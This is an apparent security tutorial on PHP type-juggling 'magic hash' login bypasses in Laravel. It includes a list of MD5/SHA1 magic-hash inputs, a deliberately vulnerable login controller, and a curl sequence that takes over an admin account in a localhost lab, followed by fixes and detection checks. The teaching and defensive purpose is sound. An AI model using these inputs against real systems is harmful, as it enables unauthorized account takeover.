CWE-287 · CWE-916 · OWASP A07:2021

PHP's type system isn't broken. It's doing exactly what the language says it should do. The problem is that those rules can turn two completely different strings into "equal" values. That single design decision has contributed to security bugs for well over a decade and still appears in modern Laravel applications today. In this post, we'll dissect the comparison rules, reproduce the vulnerability from scratch, and watch a six-character password become an administrator login.

PHP's == operator sees "0e830400451993494058024219903391" and "0e462097431906509019562988736854" as the same value. Why? Because both look like scientific notation: 0 × 10something = 0.0. MD5 hashes regularly start with 0e followed by digits. If your stored password hash matches that pattern, a publicly documented one-word input logs in as that user. No brute force. No cracking. One HTTP request. The fix is one function call: swap == for hash_equals() or use Hash::check(). That's it. One function.

Is my Laravel 12 app affected? Not if you're using the default auth stack. Hash::make() produces bcrypt ($2y$12$…) or Argon2. Neither can produce a 0e-prefixed hash. Hash::check() calls password_verify() which is constant-time and immune to type juggling.

But here's the catch: this vulnerability keeps resurfacing in Laravel codebases, specifically in custom auth code that sidesteps the framework. Legacy migration endpoints. Tutorial-sourced controllers. Partner API integrations. Anywhere a developer wrote md5($input) == $stored instead of Hash::check(). The default stack is safe. Your custom code might not be.

Where This Fits in the Kill Chain

Type juggling is the alternate entry point into ArtisanBreach. If the mass assignment vector from Post 2 is patched (registration disabled, validation tightened), this is the backup. A forgotten /contributor-login endpoint from a 2019 migration, still running MD5 + ==. The main auth system? Argon2id. MFA. Fortify. Completely locked down. Didn't matter. The compatibility shim from seven years ago was the door.

The kill chain

Vulnerability Classification

CWE-287 Improper Authentication, the comparison doesn't correctly verify who you claim to be
CWE-916 Weak password hashing, MD5 is a general-purpose digest with no cost factor. GPU cracking is trivial once you have the database. It should never be used for passwords.
OWASP A07:2021, Identification and Authentication Failures
Historical precedent The vBulletin type juggling bypass (2014) is the most widely cited example: millions of forum accounts, instant bypass, no cracking, all through a six-character "password" from a public list. Though widely referenced in security blogs, it does not map to an officially assigned CVE. The mechanism is the same: md5() + == + magic hash.
Who's at risk Any PHP version, this is language-level behaviour, not a version-specific bug. Laravel 12's default auth is safe. The danger lives in custom auth code, legacy migration endpoints, and any == comparison on hash-derived values (tokens, webhook signatures, API keys).
Exploit complexity Trivial. One HTTP POST with a password from a public list. No tools beyond curl.

The Two Equals Signs That Will Betray You

Every PHP developer knows == is "loose" and === is "strict." Most have never watched what == actually does when it encounters two strings that look like numbers. That gap is where this entire attack class lives.

==  Loose equality, DANGEROUS

PHP inspects both values and coerces them to a common type before comparing. A string that looks like scientific notation becomes a float first.

// ALL of these are TRUE under ==
"1"    == 1       // string → int
"01"   == "1"     // numeric strings
"1e0"  == "1"     // scientific notation
"0e99" == "0e12"  // BOTH → 0.0 → TRUE
""     == false   // empty → falsy
"0"    == false   // "0" → 0 → falsy
===  Strict equality, SAFE

PHP compares both value and type with zero coercion. Different type or different string = false.

// ALL of these are FALSE under ===
"1"    === 1       // string ≠ int
"01"   === "1"     // different strings
"1e0"  === "1"     // different strings
"0e99" === "0e12"  // different strings ✓
""     === false   // string ≠ bool
"0"    === false   // string ≠ bool

The dangerous case is "0e99" == "0e12". PHP reads both strings as scientific notation: 0 × 1099 and 0 × 1012. Both evaluate to the float 0.0. Two completely different strings. One loose comparison. They are "equal." This is not a corner case. This is the documented behaviour of PHP's type coercion system, and it has been since PHP 4.

Let that sink in "0e830400451993494058024219903391" == "0e462097431906509019562988736854" evaluates to true. These strings have zero digits in common after the 0e prefix. PHP sees both as "zero times ten to the power of something" and says: yep, those are the same number. This is not a bug. This is the language working as intended. And it has been the source of authentication bypasses in production software for over a decade.

How This Breaks Password Comparison

password break comparison

The attack requires finding any plaintext whose MD5 (or SHA1) hash starts with 0e followed exclusively by digits. These are called magic hashes. Someone already did the work of finding them. Here they are:

Algorithm You send this as your "password" Its hash PHP sees
MD5 240610708 0e462097431906509019562988736854 0.0
MD5 QNKCDZO 0e830400451993494058024219903391 0.0
MD5 0e215962017 0e291242476940776845150308577824 0.0
MD5 aabg7XSs 0e087386482136013740957780965295 0.0
SHA1 aaroZmOk 0e66507019969427134894567494305185566735 0.0
SHA1 aaK1STfY 0e76658526655756207688271159624026011393 0.0

If any account in your database has a stored hash matching /^0e\d+$/, every single one of those inputs above will log you in as that user. Any of them. All of them. They all produce the same float. This is not a brute force. It's a lookup table.

Why PHP Still Ships This Footgun in 2026

PHP 8.0 introduced the "Saner string to number comparisons" RFC, which changed how non-numeric strings compare against integers, for example, 0 == "abc" is now false. But this was a silent behaviour change, not a warning, and it only affects non-numeric-string vs. number comparisons. String-to-string comparisons of the form "0e99" == "0e12", where both sides look like numeric strings, were left untouched. They still return true in PHP 8.3, the version this application runs on.

The PHP internals team has declined to change this specific behaviour because it would break backwards compatibility for code that (knowingly or not) depends on numeric string coercion. Let's be clear about what that means: the PHP project has decided that preserving the ability to write "0e99" == "0e12" and get true is more important than closing a known authentication bypass vector that has been actively exploited since at least 2014. Every other major language either rejects this comparison or requires explicit numeric conversion. PHP chooses to guess.

This is not a theoretical concern The vBulletin type-juggling bypass story broke in 2014. CVE-2024-55556 (Crater Invoice, a Laravel-based application, not the framework itself) shows these issues keep surfacing in newly written code. Between them: WordPress plugin bypasses, custom CMS vulnerabilities, and thousands of Stack Overflow answers recommending md5($input) == $stored as "good enough" for internal tools. The common thread is PHP's type coercion. The language could fix it. It hasn't. So you have to.

Three Ways This Ends Up in Your Laravel 12 App

The default auth stack is safe. So why does this keep happening? Because real codebases accumulate technical debt, and PHP's type system doesn't discriminate between 2011 procedural code and 2026 Laravel:

Scenario 1
"We'll fix the legacy endpoint next sprint"

A company migrates a procedural PHP app to Laravel. The old system used MD5 and ==. To avoid forcing thousands of users through a password reset on launch day, the team adds a /contributor-login endpoint that runs the old comparison side-by-side with bcrypt. The code is copied almost verbatim from 2011. The sprint to "fix this properly" never arrives. The endpoint survives two framework upgrades and three security audits, none of which checked the compatibility layer.

// Copied from the 2011 codebase. Running in Laravel 12. Still vulnerable.
if (md5($_POST['password']) == $row['password']) {
    // "We'll clean this up in the next sprint", 2019, 2021, 2023, 2025...
}
Scenario 2
The 2016 Stack Overflow Answer

A developer needs quick token-based auth for an internal dashboard. They find a 2016 tutorial showing a custom login controller with md5() and ==. It works in testing. It ships to production. Three years later, the "internal tool" is used by every employee and exposed on a public-facing subdomain. The comparison operator was never reviewed because "it's just the internal dashboard."

// "Simple auth for our internal dashboard", now exposed, still md5 + ==
if (md5($request->api_key) == $storedHash) {
    return response()->json(['status' => 'ok']);
}
Scenario 3
Webhook Signatures and API Tokens

This isn't only about passwords. Anywhere a hash-derived value is compared with == is a potential issue. Custom webhook signature verification, API token validation, password reset tokens. A SHA1 HMAC can produce magic hashes. Some older payment providers and webhook services still use SHA1. If your verification code uses ==, a forged request with a magic-hash-producing header can slip through.

// Custom Stripe webhook handler, vulnerable to SHA1 magic hash forgery
$signature = hash_hmac('sha1', $payload, config('services.stripe.secret'));

if ($signature == $request->header('X-Stripe-Signature')) {
    // 0e... == 0e... could let a forged webhook through
    processPayment($payload);
}
Field Note During a real security review: main login flow was airtight. Argon2id. MFA via Fortify. Rate limiting. Every box checked. The vulnerability was on /contributor-login, a route created during a 2019 migration that nobody remembered existed. MD5 hashes. Loose comparison. The user still had the Administrator role from before the migration. One POST request. Password: "QNKCDZO". Full admin access. The real password was never discovered because it was never needed.

The Vulnerable Code in ArtisanBreach

This is the actual code running right now. Not pseudocode. Not a hypothetical. The controller, the database, the seeder, all of it is live and exploitable:

1. What's in the database
-- The legacy_password column stores raw MD5 hashes, not bcrypt.
-- This account has the Administrator role. Never demoted after migration.
SELECT email, legacy_password, role_id FROM users
WHERE email = 'contributor@artisanbreach.com';

-- email                           | legacy_password                     | role_id
-- contributor@artisanbreach.com   | 0e462097431906509019562988736854   | 1 (Admin)
--                                   ↑↑ starts with 0e, all digits → MAGIC HASH
2. The controller (verified, live in the repo)
// app/Http/Controllers/Auth/ContributorLoginController.php
// This is the ACTUAL code. Not a recreation.

public function login(Request $request): \Illuminate\Http\RedirectResponse
{
    $request->validate([
        'email'    => ['required', 'email'],
        'password' => ['required'],
    ]);

    $user = User::where('email', $request->email)
        ->whereNotNull('legacy_password')
        ->first();

    // Two problems in one comparison:
    //   1. md5() - no cost factor, trivially GPU-crackable if DB leaks
    //   2. ==    - loose comparison, type juggling enabled
    //              This is the one that makes the bypass work.
    if ($user && md5($request->password) == $user->legacy_password) {
        Auth::login($user);                     // ← full Laravel session
        return redirect()->intended('/admin');  // ← straight to admin panel
    }

    return back()->withErrors(['email' => 'These credentials do not match our contributor records.']);
}
3. Prove it in tinker (run this yourself)
// php artisan tinker

$stored  = '0e462097431906509019562988736854';  // md5("240610708"), the stored hash
$attempt = md5('QNKCDZO');                       // "0e830400451993494058024219903391"

var_dump($attempt == $stored);   // bool(true)  ← AUTH BYPASSED
var_dump($attempt === $stored);  // bool(false) ← strict is correct
var_dump(hash_equals($stored, $attempt)); // bool(false) ← also correct

// The == is the problem. It always has been.

The Attack: One Request, Full Admin

Kill chain diagram
curl one-liner
# Step 1: Grab CSRF token from the login form
TOKEN=$(curl -s -c cookies.txt http://localhost:8084/contributor-login \
  | grep -oP 'name="_token" value="\K[^"]*')

# Step 2: Submit the magic hash password
curl -s -X POST http://localhost:8084/contributor-login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -b cookies.txt -c cookies.txt \
  --data-urlencode "_token=$TOKEN" \
  --data-urlencode "email=contributor@artisanbreach.com" \
  --data-urlencode "password=QNKCDZO" \
  -w "\nHTTP %{http_code} → %{redirect_url}\n"

# Output: HTTP 302 → http://localhost:8084/admin

# Step 3: Confirm you're in
curl -s -b cookies.txt http://localhost:8084/admin | head -20
# You're looking at the admin dashboard. Logged in as Sarah Okonkwo.
# Role: Administrator. Real password: never discovered.

What You Just Lost

1 in 340M
Rough probability that a random MD5 hash is a true magic hash (/^0e[0-9]+$/)
~0
Expected number of magic-hash-vulnerable accounts in a 10,000-user table with random MD5 hashes
1
HTTP request needed per vulnerable account. Zero brute force.
6
Magic hash inputs (MD5 + SHA1) shown above. All of them work against any 0e-prefixed stored hash.
What the attacker gets
  • Full auth bypass on any account with a 0e-prefixed stored hash
  • No brute force, magic hash inputs are a static, publicly documented list
  • No account creation needed, exploits existing accounts
  • Works even after mass assignment and registration exploits are patched
  • Bypasses rate limiting, one request, not thousands
Who's most at risk
  • Admin accounts seeded with known-plaintext passwords during migration
  • Accounts that existed before a bcrypt migration, still carrying legacy hashes
  • Any user on a legacy/login compatibility endpoint
  • Detection requires scanning the users table for /^0e\d+$/ patterns
  • Most code review tools won't flag == near md5() as a critical

The Fix

Kill chain diagram
Preferred
Fix 1: Use Hash::check()
// This single function call replaces the entire vulnerable comparison.
// Hash::check() calls password_verify() internally, strict, constant-time, bcrypt/Argon2 only.

if ($user && Hash::check($request->password, $user->password)) {
    Auth::login($user);
    return redirect('/admin');
}
Why bcrypt/Argon2 can never produce a magic hash Bcrypt hashes always start with $2y$. PHP will never coerce a dollar-sign-prefixed string to a number. Argon2 hashes start with $argon2. Same protection. password_verify() also does its own constant-time comparison internally, which eliminates timing attacks as a bonus. Switching to Hash::check() fixes the type juggling problem and the weak hashing problem in one change.
Interim
Fix 2: hash_equals() while migrating to bcrypt
// Stops type juggling AND timing attacks. Use this if you can't
// migrate every account to bcrypt immediately.
if ($user && hash_equals($user->legacy_password, md5($request->password))) {
    Auth::login($user);
    return redirect('/admin');
}

// hash_equals() reads the full length of both strings before returning.
// No short-circuit. No timing leak. No type coercion.
Recommended
Fix 3: Transparent bcrypt upgrade on login
// Upgrade MD5 → bcrypt silently as users log in.
// No forced password reset. Database heals itself over time.
public function login(Request $request): RedirectResponse
{
    $user = User::where('email', $request->email)->first();

    // Interim path: still handling legacy MD5 accounts
    if ($user && $user->legacy_password
        && hash_equals($user->legacy_password, md5($request->password))) {

        // Re-hash to bcrypt immediately. Clear the MD5 column.
        // Next login uses Hash::check() on the bcrypt hash.
        $user->update([
            'password'        => Hash::make($request->password),
            'legacy_password' => null,
        ]);

        Auth::login($user);
        return redirect('/admin');
    }

    // Standard path: bcrypt/Argon2 via Hash::check()
    if ($user && Hash::check($request->password, $user->password)) {
        Auth::login($user);
        return redirect('/admin');
    }

    return back()->withErrors(['email' => 'Authentication failed.']);
}

The Broader Risk: == Beyond Passwords

Even if your password comparisons are all Hash::check(), your app may still have dangerous == comparisons elsewhere. These three are the most common:

Context Vulnerable pattern Safe replacement
Webhook signature $sig == $request->header('X-Hub-Sig') hash_equals($sig, $header)
API token validation md5($token) == $stored Hash::check() or hash_equals()
Password reset token $request->token == $record->token hash_equals($record->token, $request->token)
Two-factor code $request->code == $stored_code Constant-time OTP library. Never raw ==.
Timing attacks: the companion risk you're also ignoring Even when === prevents type juggling, plain string comparison leaks information through timing: it short-circuits on the first mismatched character. An attacker measuring response times can reconstruct a secret one character at a time. hash_equals() eliminates this by reading both strings in full before returning. Use it for every security-sensitive comparison. No exceptions. No "it's just an internal tool."

Finding It Before Someone Else Does

1. Grep for loose comparisons near hash functions
grep -rn 'md5\|sha1\|crypt\|hash(' app/ | grep '[^=!]==[^=]'
# Every match is a candidate for review. === is fine. == is not.
2. Find vulnerable hashes already in your database
-- Any stored hash that matches the magic hash pattern
SELECT id, email, password
FROM users
WHERE password REGEXP '^0e[0-9]+$';

-- Check legacy columns too, they're the most likely offenders
SELECT id, email, legacy_password
FROM users
WHERE legacy_password REGEXP '^0e[0-9]+$';
3. Tinker one-liner for a live audit
php artisan tinker --execute "
    \$vulnerable = \App\Models\User::whereRaw(\"password REGEXP '^0e[0-9]+\$'\")
        ->orWhereRaw(\"legacy_password REGEXP '^0e[0-9]+\$'\")
        ->get(['id','email']);
    \$vulnerable->each(fn(\$u) => print(\$u->email . PHP_EOL));
    echo 'Vulnerable accounts: ' . \$vulnerable->count() . PHP_EOL;
"

Lock It Out of CI/CD

Finding a vulnerability once is useful. Preventing it from coming back when someone copy-pastes a legacy login controller during the next migration is better. A lightweight CI check catches most of these patterns before they hit production:

# .github/workflows/security.yml
- name: Detect dangerous hash comparisons
  run: |
    ! grep -R "==" app/ | grep -E "md5|sha1|hash\("
    # Fails the build if any == comparison near a hash function is found

Not a replacement for Semgrep or CodeQL, but a fast, cheap safety net that catches the most common pattern. Combine with a custom Semgrep rule that flags any == operator whose operands involve md5(), sha1(), or hash().

Remediation Checklist

Replace all md5()/sha1() password comparisons with Hash::check(). This fixes type juggling AND weak hashing in one change.
Replace any remaining == hash comparisons with hash_equals() as an interim fix while migrating to bcrypt.
Run the SQL query above. Force immediate password resets for every account with a 0e-prefixed stored hash. No exceptions.
Implement transparent bcrypt migration on next login (Fix 3 above). The database heals itself over time with zero user impact.
Add a Pest test: $this->post('/contributor-login', ['email' => $email, 'password' => 'QNKCDZO'])->assertSessionHasErrors('email'); $this->assertGuest();. If the magic hash input ever logs in successfully, your auth is broken.
Audit every == comparison on tokens, signatures, and codes across the entire codebase. Replace with hash_equals().
Set bcrypt cost to at least 12 in config/hashing.php. Laravel 12 defaults to cost 12 out of the box, but older projects or custom configs may have a lower value. If the file is absent, publish it with php artisan config:publish hashing. Higher cost = slower GPU cracking if the database ever leaks.
Add the CI check above. A failing build is better than a compromised admin account.

The vBulletin Precedent: A Well-Known Cautionary Tale

vBulletin powered a huge slice of the internet's forum infrastructure from the early 2000s through the mid-2010s. Passwords stored as MD5, compared with ==. Standard practice at the time. Nobody thought twice about it.

When magic hash tables were published in 2014, vBulletin became the poster child for this vulnerability class: millions of forum accounts across thousands of installations were vulnerable to instant authentication bypass. No brute force. No rainbow tables. Submit a publicly known six-character string. You're in. This story has been widely circulated in security research circles ever since, though it was never assigned a dedicated CVE for the type-juggling mechanism specifically, which is itself a reflection of how PHP's type coercion normalises this vulnerability class.

The fix required two changes that could not be decoupled:

  1. Change the comparison to === or hash_equals(), stops active exploitation immediately.
  2. Rehash all passwords to bcrypt, closes the window permanently. Without this, you're still sitting on a database of MD5 hashes that are trivially GPU-crackable once the database leaks. Fixing only the comparison operator leaves CWE-916 wide open.

That was 2014. Over a decade later, the same vulnerability keeps appearing in newly written PHP code. Not because developers don't know about it, because legacy compatibility endpoints, Stack Overflow tutorials, and "temporary" migration shims all converge on the same pattern: md5($input) == $stored. The language didn't fix it. The framework can't fix code that sidesteps it. Only you can.

The Bottom Line

Laravel 12 solves this problem completely, for the code you write using its auth system. Hash::make() and Hash::check() ship in every install. The framework did the work. The danger is in the code that goes around it.

Legacy migrations. Copied tutorial code. "Temporary" compatibility shims from 2019 that are still running in 2026. Each one is a potential reintroduction of a vulnerability the framework already solved. The pattern to internalize isn't "avoid MD5." It's simpler than that:

Every security-sensitive comparison uses Hash::check() for passwords and hash_equals() for everything else. No exceptions. No "it's just internal." No "we'll fix it next sprint." If you see == anywhere near a hash function, treat it as a bug. Because in PHP, it is one.

The type juggling exploit only fires for inputs no legitimate user would ever submit. But those inputs are publicly documented, six characters long, and take one HTTP request to test. The fix is one function call. The cost of not fixing it is a known bypass on every affected account in your database, including the ones with the Administrator role that nobody remembered to demote after the migration.